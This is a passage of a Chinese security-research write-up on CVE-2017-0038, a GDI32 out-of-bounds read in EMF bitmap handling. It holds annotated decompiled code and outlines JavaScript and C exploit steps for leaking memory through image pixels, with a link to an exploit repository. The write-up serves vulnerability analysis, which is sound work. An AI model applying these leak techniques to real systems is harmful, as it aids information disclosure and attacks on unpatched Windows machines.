if(MF::bClipped((MF*)v8,(MRSETDIBITSTODEVICE*)((char*)v4+8)))//这个函数会checkMF和ERECTL的上下左右值,是否在满足范围内 return1i64; pt.x=*((_DWORD*)v4+6);//对EMF的xDest和yDest进行传递 pt.y=*((_DWORD*)v4+7); if(!LPtoDP(*(HDC*)(v8+728),&pt,1)//将逻辑坐标转换成HDC的坐标 ||!SetWorldTransform(v3,(constXFORM*)(v8+704))//建立用于转换,输出图形的二维线形变换 ||!(unsignedint)MR::bValidOffExt(v4,v5,*((_DWORD*)v4+12),*((_DWORD*)v4+13)))//检查bitmap信息正确性 { return0i64; } v10=1272; if(*((_DWORD*)v4+13)>0x4F8u) v10=*((_DWORD*)v4+13); v11=(BITMAPINFO*)LocalAlloc(0x40u,(unsignedint)v10);//开辟一个V10(4f8)大小的空间 v12=v11; if(v11) { memcpy(v11,(char*)v4+*((_DWORD*)v4+12),*((_DWORD*)v4+13));//拷贝bitmapinfo到目标内存 v13=248; if(v12->bmiHeader.biSize<0xF8)判断bitmapinfoheader中bisize大小 v13=v12->bmiHeader.biSize;//小于f8则当前值 v12->bmiHeader.biSize=v13;//大于f8则f8,限定bisize最大值 v14=*((_DWORD*)v4+18);// if(v12->bmiHeader.biHeight<=0)//如果biHeight为负数,则转换成正数(防止IntegerOverflow?) v14=-v14; v12->bmiHeader.biHeight=v14; v12->bmiHeader.biSizeImage=*((_DWORD*)v4+15);//设定bitmapinfoheader中biSizeImage值为cbBitsSrc v15=*((_DWORD*)v4+15);//cbBitSize交给v15 if(!v15||(unsignedint)MR::bValidOffExt(v4,v5,*((_DWORD*)v4+14),v15)) { if(*((_DWORD*)v4+15))//如果cbBitSize不为0 v16=(char*)v4+*((_DWORD*)v4+14);//则v16为EMRSETDIBSITODEVICE结构+偏移14,也就是offBitsSrc else v16=0i64; LOBYTE(v6)=StretchDIBits(//拷贝目标像素到指定矩形中,没有判断,产生漏洞 v3, pt.x, pt.y, *((_DWORD*)v4+10), *((_DWORD*)v4+11), *((_DWORD*)v4+8), *((_DWORD*)v4+9)-*((_DWORD*)v4+17), *((_DWORD*)v4+10), *((_DWORD*)v4+11), v16,//指向要拷贝bitmap的指针 v12, *((_DWORD*)v4+16), 0xCC0020u)!=0; } } LocalFree((HLOCAL)v12); MF::bSetTransform((MF*)v8,v3); returnv6; }

JS Exploit与Web Safe Color

到此,我们分析了这个漏洞的成因,可能读到这里大家都会有一些和我当时一样的疑问,就是为什么我们要打印的内容是0x00ED1C24,也就是说,这里不管内存如何泄露,固定不变的值应该是0x00ED1C24,但是像诸如0patch文章中所说的,固定的值却是0xFF3333FF呢。

首先我们一起来把这个PoC修改成Exploit,用JS在网页中打印泄露的内存地址,在之前我们将cxSrc和cySrc修改回泄露内存的PoC,接下来,通过getImageData的方法,来获得图像的像素,之后将这个值打印。打印的Length实际上我输出多了,这里只需要1024(0x10*0x10*4)足以表示整个poc.emf图像。


【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

可以看到,我们泄露了内存地址的信息,这些信息其实在本质上是包含着很多内容的。比如一些关键的内存地址信息等等。但是在测试的过程中,我没有发现有关浏览器的一些信息,比如cookie之类的,不知道是不是因为我的浏览器比较干净,内存驻留的信息较少。


【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

但这里有几个问题,第一个就是我多次调试之后,发现内存泄露的信息位置很不稳定,也就是说,它可以用来泄露浏览器信息,但是用来做稳定的info leak来bypass ASLR似乎不太可行,其次,我们来对比一下泄露内存的内容和我之前在浏览器中打印的图像泄露的内容是不同的。

这也是为什么无论是我调试还是0patch文章中都会在浏览器打印0xFF3333FF的原因,Web Safe Color!Web Safe Color是一种安全颜色的表示,开发者认为在256种颜色中,只需要216种颜色就能保证浏览器稳定输出图像,而不会让图像产生抖动,而这216种颜色用0x00,0x33,0x66,0x99,0xcc,0xff组合就能表示了,也就是说我们的内存在图像打印的时候,会被web safe color强制转换。

下面我修改poc.emf中bitmap的像素值,来看看在浏览器中图像强制转换打印的内容。


【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

所以可以看到这个过程不可逆,因此,至少在IE11浏览器,由于Web Safe Color导致我们内存泄露方法获取一些敏感数据的思路似乎不太可行,接下来,我们通过C语言来写一个Exploit,来看一下真正的内存泄露。


CVE-2017-0038 Out-of-bound Read Exploit

重新回过头看一下之前的bplay函数断点,实际上,这里调用了一个GDI32的API,叫做PlayEnhMetaFile,正是这个API内层函数调用到了bplay,因此我们在C中通过PlayEnhMetaFile来调用MRSETDIBITSTODEVICE::bplay。这个过程会将EMF文件转储到hdc上,这样,我们就构建了一个基本的Exploit思路:

通过GetDC函数来获取一个HDC

通过GetEnhMetaFile来加载poc.emf

通过PlayEnhMetaFile来将hemf转储到hedc中

通过GetPixel来从hedc中读取像素值,这个像素值泄露了内存信息,保存到一个DWORD数组里。


【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit
可以看到,我们的DWORD color[]数组读取到了更多的内存信息,但其实在我们当前的进程空间里,这样的内存信息还是太少了,换句话说当前进程太单纯2333,我们可以正常打印PJ0提供的一个poc.emf,由于这个GetDC是Null,图像将会打印在左上角。
【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit

可以看到,除了左下角的0x00241ced,其他的都是0x00(#00000000表示黑色),也就是初始化的内存空间(这里0x00241ced也是红色),到此我们完成了对于这个漏洞的分析和利用,如有不当之处,还望大家多多包含,多多交流,谢谢!

最后我把exploit地址放在末尾:

https://github.com/k0keoyo/CVE-2017-0038-EXP-C-JS



【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit
【漏洞分析】CVE-2017-0038:GDI32越界读漏洞从分析到Exploit
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3644.html
Viewing all 12749 articles
Browse latest View live